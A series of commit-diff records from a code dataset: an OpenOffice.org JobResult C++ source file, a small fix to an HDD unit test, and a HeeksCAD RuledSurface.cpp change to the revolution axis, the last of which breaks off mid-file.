markers and pch files<commit_after>    \/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: jobresult.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-16 14:04:24 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_framework.hxx\"\n\n\/\/________________________________\n\/\/  my own includes\n\n#ifndef __FRAMEWORK_JOBS_JOBRESULT_HXX_\n#include <jobs\/jobresult.hxx>\n#endif\n\n#ifndef __FRAMEWORK_THREADHELP_READGUARD_HXX_\n#include <threadhelp\/readguard.hxx>\n#endif\n\n#ifndef __FRAMEWORK_THREADHELP_WRITEGUARD_HXX_\n#include <threadhelp\/writeguard.hxx>\n#endif\n\n#ifndef __FRAMEWORK_GENERAL_H_\n#include <general.h>\n#endif\n\n#ifndef __FRAMEWORK_SERVICES_H_\n#include <services.h>\n#endif\n\n\/\/________________________________\n\/\/  interface includes\n\n\/\/________________________________\n\/\/  includes of other projects\n\n#ifndef _RTL_USTRBUF_HXX_\n#include <rtl\/ustrbuf.hxx>\n#endif\n\n#ifndef _SV_SVAPP_HXX\n#include <vcl\/svapp.hxx>\n#endif\n\n\/\/________________________________\n\/\/  namespace\n\nnamespace framework{\n\n\/\/________________________________\n\/\/  non exported const\n\n\/\/________________________________\n\/\/  non exported definitions\n\n\/\/________________________________\n\/\/  declarations\n\n\/\/________________________________\n\/**\n    @short      standard dtor\n    @descr      It does nothing else ...\n                but it marks this new instance as non valid!\n*\/\nJobResult::JobResult()\n    : ThreadHelpBase(&Application::GetSolarMutex())\n{\n    \/\/ reset the flag mask!\n    \/\/ It will reset the accessible state of this object.\n    \/\/ That can be usefull if something will fail here ...\n    m_eParts = E_NOPART;\n}\n\n\/\/________________________________\n\/**\n    @short      special ctor\n    @descr      It initialize this new instance with a pure job execution result\n                and analyze it. Doing so, we actualize our other members.\n\n                <p>\n                It's a list of named values, packed inside this any.\n                Following protocol is used:\n                <p>\n                <ul>\n                    <li>\n                        \"SaveArguments\" [sequence< css.beans.NamedValue >]\n                        <br>\n                        The returned list of (for this generic implementation unknown!)\n                        properties, will be written directly to the configuration and replace\n                        any old values there. There will no check for changes and we doesn't\n                        support any mege feature here. They are written only. The job has\n                        to modify this list.\n                    <\/li>\n                    <li>\n                        \"SendDispatchResult\" [css.frame.DispatchResultEvent]\n                        <br>\n                        The given event is send to all current registered listener.\n                        But it's not guaranteed. In case no listener are available or\n                        this job isn't part of the dispatch environment (because it was used\n                        by the css..task.XJobExecutor->trigger() implementation) this option\n                        will be ignored.\n                    <\/li>\n                    <li>\n                        \"Deactivate\" [boolean]\n                        <br>\n                        The job whish to be disabled. But note: There is no way, to enable it later\n                        again by using this implementation. It can be done by using the configuration\n                        only. (Means to register this job again.)\n                        If a job knows, that there exist some status or result listener, it must use\n                        the options \"SendDispatchStatus\" and \"SendDispatchResult\" (see before) too, to\n                        inform it about the deactivation of this service.\n                    <\/li>\n                <\/ul>\n\n    @param      aResult\n                    the job result\n*\/\nJobResult::JobResult( \/*IN*\/ const css::uno::Any& aResult )\n    : ThreadHelpBase(&Application::GetSolarMutex())\n{\n    \/\/ safe the pure result\n    \/\/ May someone need it later ...\n    m_aPureResult = aResult;\n\n    \/\/ reset the flag mask!\n    \/\/ It will reset the accessible state of this object.\n    \/\/ That can be usefull if something will fail here ...\n    m_eParts = E_NOPART;\n\n    \/\/ analyze the result and actualize our other members\n    css::uno::Sequence< css::beans::NamedValue > lProtocol;\n    if (!(aResult >>= lProtocol))\n        return;\n\n    sal_Int32 nCount = lProtocol.getLength();\n    for( sal_Int32 i=0; i<nCount; ++i )\n    {\n        if (\n            (lProtocol[i].Name.equalsIgnoreAsciiCaseAsciiL(\"Deactivate\",10)) &&\n            (lProtocol[i].Value >>= m_bDeactivate                          )\n           )\n        {\n            if ( m_bDeactivate )\n                m_eParts |= E_DEACTIVATE;\n        }\n        else\n        if (\n            (lProtocol[i].Name.equalsIgnoreAsciiCaseAsciiL(\"SaveArguments\",13)) &&\n            (lProtocol[i].Value >>= m_lArguments                              )\n           )\n        {\n            m_eParts |= E_ARGUMENTS;\n        }\n        else\n        if (\n            (lProtocol[i].Name.equalsIgnoreAsciiCaseAsciiL(\"SendDispatchResult\",18)) &&\n            (lProtocol[i].Value >>= m_aDispatchResult                              )\n           )\n        {\n            m_eParts |= E_DISPATCHRESULT;\n        }\n    }\n}\n\n\/\/________________________________\n\/**\n    @short      copy dtor\n    @descr      -\n*\/\nJobResult::JobResult( const JobResult& rCopy )\n    : ThreadHelpBase(&Application::GetSolarMutex())\n{\n    m_aPureResult     = rCopy.m_aPureResult     ;\n    m_eParts          = rCopy.m_eParts          ;\n    m_lArguments      = rCopy.m_lArguments      ;\n    m_bDeactivate     = rCopy.m_bDeactivate     ;\n    m_aDispatchResult = rCopy.m_aDispatchResult ;\n}\n\n\/\/________________________________\n\/**\n    @short      standard dtor\n    @descr      Free all internaly used ressources at the end of living.\n*\/\nJobResult::~JobResult()\n{\n    \/\/ Nothing realy to do here.\n}\n\n\/\/________________________________\n\/**\n    @short      =operator\n    @descr      Must be implemented to overwrite this instance with another one.\n\n    @param      rCopy\n                    reference to the other instance, which should be used for copying.\n*\/\nvoid JobResult::operator=( const JobResult& rCopy )\n{\n    \/* SAFE { *\/\n    WriteGuard aWriteLock(m_aLock);\n    m_aPureResult     = rCopy.m_aPureResult     ;\n    m_eParts          = rCopy.m_eParts          ;\n    m_lArguments      = rCopy.m_lArguments      ;\n    m_bDeactivate     = rCopy.m_bDeactivate     ;\n    m_aDispatchResult = rCopy.m_aDispatchResult ;\n    aWriteLock.unlock();\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\/**\n    @short      checks for existing parts of the analyzed result\n    @descr      The internal flag mask was set after analyzing of the pure result.\n                An user of us can check here, if the required part was realy part\n                of this result. Otherwhise it would use invalid informations ...\n                by using our other members!\n\n    @param      eParts\n                    a flag mask too, which will be compared with our internaly set one.\n\n    @return     We return true only, if any set flag of the given mask match.\n*\/\nsal_Bool JobResult::existPart( sal_uInt32 eParts ) const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return ((m_eParts & eParts) == eParts);\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\/**\n    @short      provides access to our internal members\n    @descr      The return value will be valid only in case a call of\n                existPart(E_...) before returned true!\n\n    @return     It returns the state of the internal member\n                without any checks!\n*\/\ncss::uno::Sequence< css::beans::NamedValue > JobResult::getArguments() const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return m_lArguments;\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\nsal_Bool JobResult::getDeactivate() const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return m_bDeactivate;\n    \/* } SAFE *\/\n}\n\n\/\/________________________________\n\ncss::frame::DispatchResultEvent JobResult::getDispatchResult() const\n{\n    \/* SAFE { *\/\n    ReadGuard aReadLock(m_aLock);\n    return m_aDispatchResult;\n    \/* } SAFE *\/\n}\n\n} \/\/ namespace framework\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/src\/utility.h\"\n#include \"..\/src\/HDD\/HardDrive.h\"\n\nvoid unittest(){\n    const size_t emptyOff = 0x80120;\n\n    HDD first(1,true);\n    first.init();\n\n    int data[1000];\n    for(int i = 0 ; i < 1000 ; ++i){\n        data[i] = i;\n    }\n    first.writeaddr(emptyOff,&data,4*1000);\n    int res;\n    first.readaddr(emptyOff + 4 *42,&res,4);\n    printf(\"%d\\n\",res);\n    first.readaddr(emptyOff + 4 *999,&res,4);\n    printf(\"%d\\n\",res);\n    res = 45;\n    first.writeaddr(emptyOff + 4 *537,&res,4);\n    first.readaddr(emptyOff + 4 *753,&res,4);\n    printf(\"%d\\n\",res);\n    first.readaddr(emptyOff + 4 *537,&res,4);\n    printf(\"%d\\n\",res);\n}\n<commit_msg>Fix compilation error in HDD's unittest<commit_after>#include \"..\/src\/utility.h\"\n#include \"..\/src\/HDD\/HardDrive.h\"\n\nvoid unittest(){\n    const size_t emptyOff = 0x80120;\n\n    HDD::HDD first(1,true);\n    first.init();\n\n    int data[1000];\n    for(int i = 0 ; i < 1000 ; ++i){\n        data[i] = i;\n    }\n    first.writeaddr(emptyOff,&data,4*1000);\n    int res;\n    first.readaddr(emptyOff + 4 *42,&res,4);\n    printf(\"%d\\n\",res);\n    first.readaddr(emptyOff + 4 *999,&res,4);\n    printf(\"%d\\n\",res);\n    res = 45;\n    first.writeaddr(emptyOff + 4 *537,&res,4);\n    first.readaddr(emptyOff + 4 *753,&res,4);\n    printf(\"%d\\n\",res);\n    first.readaddr(emptyOff + 4 *537,&res,4);\n    printf(\"%d\\n\",res);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ RuledSurface.cpp\r\n\/\/ Copyright (c) 2009, Dan Heeks\r\n\/\/ This program is released under the BSD license. See the file COPYING for details.\r\n\r\n#include \"stdafx.h\"\r\n#include \"RuledSurface.h\"\r\n#include \"Wire.h\"\r\n#include \"Face.h\"\r\n#include \"ConversionTools.h\"\r\n#include \"MarkedList.h\"\r\n#include \"HeeksConfig.h\"\n#include \"..\/interface\/DoubleInput.h\"\n#include \"..\/interface\/PropertyCheck.h\"\n\r\nvoid PickCreateRuledSurface()\r\n{\r\n\tif(wxGetApp().m_marked_list->size() == 0)\r\n\t{\r\n\t\twxGetApp().PickObjects(_(\"pick some sketches\"));\r\n\t}\r\n\r\n\tif(wxGetApp().m_marked_list->size() > 0)\r\n\t{\r\n\t\tstd::list<TopoDS_Wire> wire_list;\r\n\r\n\t\tstd::list<HeeksObj*> sketches_to_delete;\r\n\r\n\t\tfor(std::list<HeeksObj *>::const_iterator It = wxGetApp().m_marked_list->list().begin(); It != wxGetApp().m_marked_list->list().end(); It++)\r\n\t\t{\r\n\t\t\tHeeksObj* object = *It;\r\n\t\t\tif(object->GetType() == SketchType)\r\n\t\t\t{\r\n\t\t\t\tstd::list<HeeksObj*> list;\r\n\t\t\t\tlist.push_back(object);\r\n\t\t\t\tTopoDS_Wire wire;\r\n\t\t\t\tif(ConvertLineArcsToWire2(list, wire))\r\n\t\t\t\t{\r\n\t\t\t\t\twire_list.push_back(wire);\r\n\t\t\t\t\tif(wxGetApp().m_loft_removes_sketches)sketches_to_delete.push_back(object);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\twxGetApp().Remove(sketches_to_delete);\r\n\r\n\t\tTopoDS_Shape shape;\r\n\t\tif(CreateRuledSurface(wire_list, shape, true))\r\n\t\t{\r\n\t\t\tHeeksObj* new_object = CShape::MakeObject(shape, _(\"Ruled Surface\"), SOLID_TYPE_UNKNOWN, HeeksColor(51, 45, 51));\r\n\t\t\twxGetApp().Add(new_object, NULL);\r\n\t\t\twxGetApp().Repaint();\r\n\t\t}\r\n\r\n\t}\r\n}\r\n\r\nHeeksObj* CreateExtrusionOrRevolution(std::list<HeeksObj*> list, double height_or_angle, bool solid_if_possible, bool revolution_not_extrusion, bool add_new_objects)\r\n{\r\n\tstd::list<TopoDS_Shape> faces_or_wires;\r\n\r\n\tstd::list<HeeksObj*> sketches_or_faces_to_delete;\r\n\r\n\tfor(std::list<HeeksObj *>::const_iterator It = list.begin(); It != list.end(); It++)\r\n\t{\r\n\t\tHeeksObj* object = *It;\r\n\t\tswitch(object->GetType())\r\n\t\t{\r\n\t\tcase SketchType:\r\n\t\tcase CircleType:\r\n\t\t\t{\r\n\t\t\t\tif(ConvertSketchToFaceOrWire(object, faces_or_wires, solid_if_possible))\r\n\t\t\t\t{\r\n\t\t\t\t\tif(wxGetApp().m_extrude_removes_sketches)sketches_or_faces_to_delete.push_back(object);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\r\n\t\tcase FaceType:\r\n\t\t\tfaces_or_wires.push_back(((CFace*)object)->Face());\r\n\t\t\tif(wxGetApp().m_extrude_removes_sketches)sketches_or_faces_to_delete.push_back(object);\r\n\t\t\tbreak;\r\n\r\n\t\tdefault:\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\twxGetApp().Remove(sketches_or_faces_to_delete);\r\n\r\n\tstd::list<TopoDS_Shape> new_shapes;\r\n\tgp_Trsf trsf = wxGetApp().GetDrawMatrix(false);\r\n\tif(revolution_not_extrusion)\r\n\t{\r\n\t\tCreateRevolutions(faces_or_wires, new_shapes, gp_Ax1(gp_Pnt(0, 0, 0).Transformed(trsf), gp_Vec(0, 0, 1).Transformed(trsf)), height_or_angle);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCreateExtrusions(faces_or_wires, new_shapes, gp_Vec(0, 0, height_or_angle).Transformed(trsf));\r\n\t}\r\n\tHeeksObj* new_object = 0;\r\n\tif(new_shapes.size() > 0)\r\n\t{\r\n\t\tfor(std::list<TopoDS_Shape>::iterator It = new_shapes.begin(); It != new_shapes.end(); It++){\r\n\t\t\tTopoDS_Shape& shape = *It;\r\n\t\t\tnew_object = CShape::MakeObject(shape, revolution_not_extrusion ? _(\"Revolved Solid\") : _(\"Extruded Solid\"), SOLID_TYPE_UNKNOWN, wxGetApp().current_color);\r\n\t\t\tif(add_new_objects)\r\n\t\t\t\twxGetApp().Add(new_object, NULL);\r\n\t\t\telse\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\twxGetApp().Repaint();\r\n\t}\r\n\treturn new_object;\r\n}\r\n\r\nHeeksObj* CreatePipeFromProfile(HeeksObj* spine, HeeksObj* profile)\r\n{\r\n\tconst TopoDS_Wire wire = ((CWire*)spine)->Wire();\r\n\tstd::list<TopoDS_Shape> faces;\n\tstd::list<HeeksObj*> pipe_shapes;\n\tif(ConvertSketchToFaceOrWire(profile, faces, true))\n\t{\n\t\tfor(std::list<TopoDS_Shape>::iterator It2 = faces.begin(); It2 != faces.end(); It2++)\n\t\t{\n\t\t\tTopoDS_Shape& face = *It2;\n\r\n\t\t\ttry\r\n\t\t\t{\r\n\t\t\t\t\/\/ pipe profile algong spine\r\n\t\t\t\tBRepOffsetAPI_MakePipe makePipe(wire, face);\r\n\t\t\t\tmakePipe.Build();\r\n\t\t\t\tTopoDS_Shape shape = makePipe.Shape();\r\n\r\n\t\t\t\tHeeksObj* new_object = CShape::MakeObject(shape, _(\"Pipe\"), SOLID_TYPE_UNKNOWN, wxGetApp().current_color);\r\n\t\t\t\tif(new_object)pipe_shapes.push_back(new_object);\r\n\t\t\t}\r\n\t\t\tcatch (Standard_Failure) {\r\n\t\t\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\t\t\twxMessageBox(wxString(_(\"Error making pipe\")) + _T(\": \") + Ctt(e->GetMessageString()));\r\n\t\t\t}\r\n\t\t}\n\t\tif(pipe_shapes.size() > 0)\n\t\t{\n\t\t\twxGetApp().CreateUndoPoint();\n\t\t\tfor(std::list<HeeksObj*>::iterator It = pipe_shapes.begin(); It != pipe_shapes.end(); It++)\n\t\t\t{\n\t\t\t\tHeeksObj* object = *It;\n\t\t\t\twxGetApp().Add(object, NULL);\n\t\t\t}\r\n\t\t\twxGetApp().Remove(profile);\r\n\t\t\twxGetApp().Changed();\n\t\t\treturn pipe_shapes.front();\n\t\t}\n\t}\n\n\treturn NULL;\n}\r\n\r\nHeeksObj* CreateRuledFromSketches(std::list<HeeksObj*> list, bool make_solid)\r\n{\r\n\tstd::list<TopoDS_Wire> wire_list;\r\n\tfor(std::list<HeeksObj *>::iterator It = list.begin(); It != list.end(); It++)\r\n\t{\r\n\t\tHeeksObj* object = *It;\r\n\t\tif(object->GetType() == SketchType)\r\n\t\t{\r\n\t\t\tstd::list<HeeksObj*> s;\r\n\t\t\ts.push_back(object);\r\n\t\t\tTopoDS_Wire wire;\r\n\t\t\tif(ConvertLineArcsToWire2(s, wire))\r\n\t\t\t{\r\n\t\t\t\twire_list.push_back(wire);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tTopoDS_Shape shape;\r\n\tif(CreateRuledSurface(wire_list, shape, make_solid))\r\n\t{\r\n\t\treturn CShape::MakeObject(shape, _(\"Ruled Surface\"), SOLID_TYPE_UNKNOWN, HeeksColor(51, 45, 51));\r\n\t}\r\n\treturn NULL;\r\n}\r\n\r\nstatic void on_extrude_to_solid(bool onoff, HeeksObj* object)\n{\n\twxGetApp().m_extrude_to_solid = onoff;\n\tHeeksConfig config;\n\tconfig.Write(_T(\"ExtrudeToSolid\"), wxGetApp().m_extrude_to_solid);\n}\n\r\nclass CExtrusionInput:public CLengthInput\r\n{\r\npublic:\r\n\tCExtrusionInput(double &value):CLengthInput(_(\"Input extrusion height\"), _(\"height\"), value){}\r\n\r\n\t\/\/ virtual functions for InputMode\n\tvoid GetProperties(std::list<Property *> *list)\n\t{\n\t\tCLengthInput::GetProperties(list);\n\t\tlist->push_back(new PropertyCheck(_(\"Extrude makes a solid\"), wxGetApp().m_extrude_to_solid, NULL, on_extrude_to_solid));\n\t}\n};\r\n\r\nbool InputExtrusionHeight(double &value)\n{\n\tCInputMode* save_mode = wxGetApp().input_mode_object;\n\tCExtrusionInput extrusion_input(value);\n\twxGetApp().SetInputMode(&extrusion_input);\n\n\twxGetApp().OnRun();\n\n\twxGetApp().SetInputMode(save_mode);\n\n\tif(CLengthInput::m_success)value = extrusion_input.m_value;\n\n\treturn CLengthInput::m_success;\n}\n\r\nvoid PickCreateExtrusion()\r\n{\r\n\tif(wxGetApp().m_marked_list->size() == 0)\r\n\t{\r\n\t\twxGetApp().PickObjects(_(\"pick sketches, faces or circles\"), MARKING_FILTER_CIRCLE | MARKING_FILTER_SKETCH | MARKING_FILTER_FACE);\r\n\t}\r\n\r\n\tdouble height = 10; \/\/ to do, this should get written to config file\r\n\r\n\r\n\tif(InputExtrusionHeight(height))\r\n\t{\r\n\t\tif(wxGetApp().m_marked_list->size() > 0)\r\n\t\t{\r\n\t\t\tCreateExtrusionOrRevolution(wxGetApp().m_marked_list->list(),height, wxGetApp().m_extrude_to_solid, false);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nclass CRevolutionInput:public CDoubleInput\r\n{\r\npublic:\r\n\tCRevolutionInput(double &value):CDoubleInput(_(\"Input revolution angle\"), _(\"angle\"), value){}\r\n\r\n\t\/\/ virtual functions for InputMode\n\tvoid GetProperties(std::list<Property *> *list)\n\t{\n\t\tCDoubleInput::GetProperties(list);\n\t\tlist->push_back(new PropertyCheck(_(\"Extrude makes a solid\"), wxGetApp().m_extrude_to_solid, NULL, on_extrude_to_solid));\n\t}\n};\r\n\r\nvoid PickCreateRevolution()\r\n{\r\n\tif(wxGetApp().m_marked_list->size() == 0)\r\n\t{\r\n\t\twxGetApp().PickObjects(_(\"pick sketches, faces or circles\"), MARKING_FILTER_CIRCLE | MARKING_FILTER_SKETCH | MARKING_FILTER_FACE);\r\n\t}\r\n\r\n\tdouble angle = 360.0; \/\/ to do, this should get written to config file\r\n\r\n\tif(wxGetApp().InputDouble(_(\"Input revolution angle\"), _(\"angle\"), angle))\r\n\t{\r\n\t\tif(wxGetApp().m_marked_list->size() > 0)\r\n\t\t{\r\n\t\t\tCreateExtrusionOrRevolution(wxGetApp().m_marked_list->list(), angle, true, true);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nbool CreateRuledSurface(const std::list<TopoDS_Wire> &wire_list, TopoDS_Shape& shape, bool make_solid)\r\n{\r\n\tif(wire_list.size() > 0)\r\n\t{\r\n\t\t\tBRepOffsetAPI_ThruSections generator( make_solid ? Standard_True : Standard_False, Standard_False );\r\n\t\t\tfor(std::list<TopoDS_Wire>::const_iterator It = wire_list.begin(); It != wire_list.end(); It++)\r\n\t\t\t{\r\n\t\t\t\tconst TopoDS_Wire &wire = *It;\r\n\t\t\t\tgenerator.AddWire(wire);\r\n\t\t\t}\r\n\r\n\t\ttry{\r\n\t\t\tgenerator.Build();\r\n\t\t\tshape = generator.Shape();\r\n\t\t}\r\n\t\tcatch (Standard_Failure) {\r\n\t\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\t\twxMessageBox(wxString(_(\"Error making ruled solid\")) + _T(\": \") + Ctt(e->GetMessageString()));\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tcatch(...)\r\n\t\t{\r\n\t\t\twxMessageBox(_(\"Fatal error making ruled solid\"));\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nvoid CreateExtrusions(const std::list<TopoDS_Shape> &faces_or_wires, std::list<TopoDS_Shape>& new_shapes, const gp_Vec& extrude_vector)\r\n{\r\n\ttry{\r\n\t\tfor(std::list<TopoDS_Shape>::const_iterator It = faces_or_wires.begin(); It != faces_or_wires.end(); It++)\r\n\t\t{\r\n\t\t\tconst TopoDS_Shape& face_or_wire = *It;\r\n\t\t\tBRepPrimAPI_MakePrism generator( face_or_wire, extrude_vector );\r\n\t\t\tgenerator.Build();\r\n\t\t\tnew_shapes.push_back(generator.Shape());\r\n\t\t}\r\n\t}\r\n\tcatch (Standard_Failure) {\r\n\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\twxMessageBox(wxString(_(\"Error making extruded solid\")) + _T(\": \") + Ctt(e->GetMessageString()));\r\n\t}\r\n\tcatch(...)\r\n\t{\r\n\t\twxMessageBox(_(\"Fatal error making extruded solid\"));\r\n\t}\r\n\r\n}\r\n\r\nvoid CreateRevolutions(const std::list<TopoDS_Shape> &faces_or_wires, std::list<TopoDS_Shape>& new_shapes, const gp_Ax1& axis, double angle)\r\n{\r\n\ttry{\r\n\t\tfor(std::list<TopoDS_Shape>::const_iterator It = faces_or_wires.begin(); It != faces_or_wires.end(); It++)\r\n\t\t{\r\n\t\t\tconst TopoDS_Shape& face_or_wire = *It;\r\n\t\t\tif(fabs(angle - 360.0) < 0.00001)\r\n\t\t\t{\r\n\t\t\t\tBRepPrimAPI_MakeRevol generator( face_or_wire, axis );\r\n\t\t\t\tgenerator.Build();\r\n\t\t\t\tnew_shapes.push_back(generator.Shape());\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tBRepPrimAPI_MakeRevol generator( face_or_wire, axis, angle * Pi\/180 );\r\n\t\t\t\tgenerator.Build();\r\n\t\t\t\tnew_shapes.push_back(generator.Shape());\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcatch (Standard_Failure) {\r\n\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\twxMessageBox(wxString(_(\"Error making revolved solid\")) + _T(\": \") + Ctt(e->GetMessageString()));\r\n\t}\r\n\tcatch(...)\r\n\t{\r\n\t\twxMessageBox(_(\"Fatal error making revolved solid\"));\r\n\t}\r\n\r\n}\r\n\r\n<commit_msg>Changed default axis of revolution to vector along X axis, because I'm lazy :)<commit_after>\/\/ RuledSurface.cpp\r\n\/\/ Copyright (c) 2009, Dan Heeks\r\n\/\/ This program is released under the BSD license. See the file COPYING for details.\r\n\r\n#include \"stdafx.h\"\r\n#include \"RuledSurface.h\"\r\n#include \"Wire.h\"\r\n#include \"Face.h\"\r\n#include \"ConversionTools.h\"\r\n#include \"MarkedList.h\"\r\n#include \"HeeksConfig.h\"\r\n#include \"..\/interface\/DoubleInput.h\"\r\n#include \"..\/interface\/PropertyCheck.h\"\r\n\r\nvoid PickCreateRuledSurface()\r\n{\r\n\tif(wxGetApp().m_marked_list->size() == 0)\r\n\t{\r\n\t\twxGetApp().PickObjects(_(\"pick some sketches\"));\r\n\t}\r\n\r\n\tif(wxGetApp().m_marked_list->size() > 0)\r\n\t{\r\n\t\tstd::list<TopoDS_Wire> wire_list;\r\n\r\n\t\tstd::list<HeeksObj*> sketches_to_delete;\r\n\r\n\t\tfor(std::list<HeeksObj *>::const_iterator It = wxGetApp().m_marked_list->list().begin(); It != wxGetApp().m_marked_list->list().end(); It++)\r\n\t\t{\r\n\t\t\tHeeksObj* object = *It;\r\n\t\t\tif(object->GetType() == SketchType)\r\n\t\t\t{\r\n\t\t\t\tstd::list<HeeksObj*> list;\r\n\t\t\t\tlist.push_back(object);\r\n\t\t\t\tTopoDS_Wire wire;\r\n\t\t\t\tif(ConvertLineArcsToWire2(list, wire))\r\n\t\t\t\t{\r\n\t\t\t\t\twire_list.push_back(wire);\r\n\t\t\t\t\tif(wxGetApp().m_loft_removes_sketches)sketches_to_delete.push_back(object);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\twxGetApp().Remove(sketches_to_delete);\r\n\r\n\t\tTopoDS_Shape shape;\r\n\t\tif(CreateRuledSurface(wire_list, shape, true))\r\n\t\t{\r\n\t\t\tHeeksObj* new_object = CShape::MakeObject(shape, _(\"Ruled Surface\"), SOLID_TYPE_UNKNOWN, HeeksColor(51, 45, 51));\r\n\t\t\twxGetApp().Add(new_object, NULL);\r\n\t\t\twxGetApp().Repaint();\r\n\t\t}\r\n\r\n\t}\r\n}\r\n\r\nHeeksObj* CreateExtrusionOrRevolution(std::list<HeeksObj*> list, double height_or_angle, bool solid_if_possible, bool revolution_not_extrusion, bool add_new_objects)\r\n{\r\n\tstd::list<TopoDS_Shape> faces_or_wires;\r\n\r\n\tstd::list<HeeksObj*> sketches_or_faces_to_delete;\r\n\r\n\tfor(std::list<HeeksObj *>::const_iterator It = list.begin(); It != list.end(); It++)\r\n\t{\r\n\t\tHeeksObj* object = *It;\r\n\t\tswitch(object->GetType())\r\n\t\t{\r\n\t\tcase SketchType:\r\n\t\tcase CircleType:\r\n\t\t\t{\r\n\t\t\t\tif(ConvertSketchToFaceOrWire(object, faces_or_wires, solid_if_possible))\r\n\t\t\t\t{\r\n\t\t\t\t\tif(wxGetApp().m_extrude_removes_sketches)sketches_or_faces_to_delete.push_back(object);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\r\n\t\tcase FaceType:\r\n\t\t\tfaces_or_wires.push_back(((CFace*)object)->Face());\r\n\t\t\tif(wxGetApp().m_extrude_removes_sketches)sketches_or_faces_to_delete.push_back(object);\r\n\t\t\tbreak;\r\n\r\n\t\tdefault:\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\r\n\twxGetApp().Remove(sketches_or_faces_to_delete);\r\n\r\n\tstd::list<TopoDS_Shape> new_shapes;\r\n\tgp_Trsf trsf = wxGetApp().GetDrawMatrix(false);\r\n\tif(revolution_not_extrusion)\r\n\t{\r\n\t\tCreateRevolutions(faces_or_wires, new_shapes, gp_Ax1(gp_Pnt(0, 0, 0).Transformed(trsf), gp_Vec(1, 0, 0).Transformed(trsf)), height_or_angle);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tCreateExtrusions(faces_or_wires, new_shapes, gp_Vec(0, 0, height_or_angle).Transformed(trsf));\r\n\t}\r\n\tHeeksObj* new_object = 0;\r\n\tif(new_shapes.size() > 0)\r\n\t{\r\n\t\tfor(std::list<TopoDS_Shape>::iterator It = new_shapes.begin(); It != new_shapes.end(); It++){\r\n\t\t\tTopoDS_Shape& shape = *It;\r\n\t\t\tnew_object = CShape::MakeObject(shape, revolution_not_extrusion ? _(\"Revolved Solid\") : _(\"Extruded Solid\"), SOLID_TYPE_UNKNOWN, wxGetApp().current_color);\r\n\t\t\tif(add_new_objects)\r\n\t\t\t\twxGetApp().Add(new_object, NULL);\r\n\t\t\telse\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t\twxGetApp().Repaint();\r\n\t}\r\n\treturn new_object;\r\n}\r\n\r\nHeeksObj* CreatePipeFromProfile(HeeksObj* spine, HeeksObj* profile)\r\n{\r\n\tconst TopoDS_Wire wire = ((CWire*)spine)->Wire();\r\n\tstd::list<TopoDS_Shape> faces;\r\n\tstd::list<HeeksObj*> pipe_shapes;\r\n\tif(ConvertSketchToFaceOrWire(profile, faces, true))\r\n\t{\r\n\t\tfor(std::list<TopoDS_Shape>::iterator It2 = faces.begin(); It2 != faces.end(); It2++)\r\n\t\t{\r\n\t\t\tTopoDS_Shape& face = *It2;\r\n\r\n\t\t\ttry\r\n\t\t\t{\r\n\t\t\t\t\/\/ pipe profile algong spine\r\n\t\t\t\tBRepOffsetAPI_MakePipe makePipe(wire, face);\r\n\t\t\t\tmakePipe.Build();\r\n\t\t\t\tTopoDS_Shape shape = makePipe.Shape();\r\n\r\n\t\t\t\tHeeksObj* new_object = CShape::MakeObject(shape, _(\"Pipe\"), SOLID_TYPE_UNKNOWN, wxGetApp().current_color);\r\n\t\t\t\tif(new_object)pipe_shapes.push_back(new_object);\r\n\t\t\t}\r\n\t\t\tcatch (Standard_Failure) {\r\n\t\t\t\tHandle_Standard_Failure e = Standard_Failure::Caught();\r\n\t\t\t\twxMessageBox(wxString(_(\"Error making pipe\")) + _T(\": \") + 